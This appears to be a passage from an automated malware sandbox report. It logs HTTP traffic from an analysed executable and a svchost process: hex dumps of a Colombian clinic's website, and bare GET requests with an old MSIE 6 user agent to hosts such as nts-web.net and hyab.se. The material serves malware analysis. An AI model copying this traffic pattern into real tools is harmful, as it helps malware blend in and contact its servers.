2023-03-10 06:56:16 UTC	635	IN	Data Raw: 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e Data Ascii: /li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-men
2023-03-10 06:56:16 UTC	636	IN	Data Raw: 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 76 61 6c 6f 72 65 73 2d 63 6f 72 70 6f 72 61 74 69 76 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 Data Ascii: s="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/valores-corporativos"><span class="g-menu-i
2023-03-10 06:56:16 UTC	638	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 Data Ascii: menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li class="g-dropdown-column"><div class="g-gr
2023-03-10 06:56:16 UTC	639	IN	Data Raw: 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 69 c3 b3 6e 20 64 65 20 c3 b3 72 67 61 6e 6f 73 20 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c Data Ascii: tainer" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donacin de rganos </span></span></a><
2023-03-10 06:56:16 UTC	640	IN	Data Raw: 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 Data Ascii: m g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span></span></a></li><li class="g-menu-ite
2023-03-10 06:56:16 UTC	642	IN	Data Raw: 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 Data Ascii: class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span></span></a></li><li class="g
2023-03-10 06:56:16 UTC	643	IN	Data Raw: 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f Data Ascii: class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-compo
2023-03-10 06:56:16 UTC	644	IN	Data Raw: 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 2f 2a 70 6f 70 75 70 20 62 61 63 Data Ascii: ><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255, 255, 255, 1);/*popup bac
2023-03-10 06:56:16 UTC	646	IN	Data Raw: 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 67 61 66 Data Ascii: : 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="gafancybox-overlay" id="gaf
2023-03-10 06:56:16 UTC	647	IN	Data Raw: 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 Data Ascii: ById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" target="_blank" rel="noopener
2023-03-10 06:56:16 UTC	648	IN	Data Raw: 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d Data Ascii: ock "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-
2023-03-10 06:56:16 UTC	650	IN	Data Raw: 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 Data Ascii: /home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedb
2023-03-10 06:56:16 UTC	651	IN	Data Raw: 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 Data Ascii: pecialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure
2023-03-10 06:56:16 UTC	652	IN	Data Raw: 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d Data Ascii: -home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class=
2023-03-10 06:56:16 UTC	654	IN	Data Raw: 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 35 30 22 3e 0a 3c 66 6f 6f 74 65 72 20 69 64 3d 22 67 2d 66 6f 6f 74 65 72 22 3e 0a 3c 64 Data Ascii: ss="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div class="g-container"> <div class="g-grid"><div class="g-block size-50"><footer id="g-footer"><d
2023-03-10 06:56:16 UTC	655	IN	Data Raw: 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 41 74 65 6e 63 69 c3 b3 6e 3a 20 44 65 20 4c 75 6e 65 73 20 61 20 56 69 65 72 6e 65 73 20 64 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 31 32 3a 30 30 20 6d 20 79 20 64 65 20 32 3a 30 30 20 70 2e 6d 2e 20 61 20 36 3a 30 30 20 70 2e 6d 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 Data Ascii: e atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de Atencin: De Lunes a Viernes de 7:00 a.m. a 12:00 m y de 2:00 p.m. a 6:00 p.m.</br><br></br
2023-03-10 06:56:16 UTC	656	IN	Data Raw: 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 50 42 58 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 50 42 58 3a 20 2b 35 37 20 Data Ascii: /div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="g-contact-item"><div class="g-contact-label">PBX</div> <div class="g-contact-text">PBX: +57
2023-03-10 06:56:16 UTC	658	IN	Data Raw: 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 74 6f 70 2d 36 38 34 36 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 Data Ascii: ticle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a></div></div><div class="g-block size-33-3"><div id="totop-6846-particle" class="g-conte
2023-03-10 06:56:16 UTC	659	IN	Data Raw: 34 34 36 0d 0a 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 39 39 39 39 39 39 39 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 22 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 Data Ascii: 446 type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0px; right:0px; z-index:999999999999; display:block;"><script language="JavaScript" type="text
2023-03-10 06:56:16 UTC	660	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	53642	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	548	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	54274	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:15 UTC	566	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
